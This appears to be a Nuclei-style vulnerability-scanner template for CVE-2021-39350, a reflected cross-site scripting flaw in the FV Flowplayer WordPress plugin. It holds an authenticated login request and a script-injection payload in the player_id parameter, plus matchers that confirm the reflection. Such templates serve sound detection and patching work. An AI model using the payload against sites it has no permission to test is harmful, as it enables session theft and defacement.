63 lines
2.6 KiB
YAML
63 lines
2.6 KiB
YAML
id: CVE-2021-39350
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info:
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name: FV Flowplayer Video Player WordPress plugin - Authenticated Cross-Site Scripting
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author: gy741
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severity: medium
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description: The FV Flowplayer Video Player WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the player_id parameter found in the ~/view/stats.php file which allows attackers to inject arbitrary web scripts in versions 7.5.0.727 - 7.5.2.727.
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impact: |
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Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary JavaScript code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Update to the latest version of the FV Flowplayer Video Player WordPress plugin to mitigate this vulnerability.
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reference:
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- https://wpscan.com/vulnerability/e9adc166-be7f-4066-a2c1-7926c6304fc9
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- https://nvd.nist.gov/vuln/detail/CVE-2021-39350
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- https://plugins.trac.wordpress.org/changeset/2580834/fv-wordpress-flowplayer/trunk/view/stats.php
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- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39350
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-39350
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cwe-id: CWE-79
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epss-score: 0.00104
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epss-percentile: 0.42206
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cpe: cpe:2.3:a:foliovision:fv_flowplayer_video_player:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: foliovision
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product: fv_flowplayer_video_player
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framework: wordpress
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tags: cve2021,cve,wpscan,wordpress,xss,wp,wp-plugin,authenticated,foliovision
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Content-Type: application/x-www-form-urlencoded
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Cookie: wordpress_test_cookie=WP%20Cookie%20check
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log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
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- |
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GET /wp-admin/admin.php?page=fv_player_stats&player_id=1</script><script>alert(document.domain)</script> HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "</script><script>alert(document.domain)</script>"
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- "<h1>FV Player Stats</h1>"
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100e9544ea2a99ec897b7871a37a22dbe9bccc8b1ec287bd257eefcd143ba43c9b0022100cdfc5ef7b6494c579c2c558f7ea57a2811e5485f5f62b6070ae617a8b1b94dbd:922c64590222798bb761d5b6d8e72950 |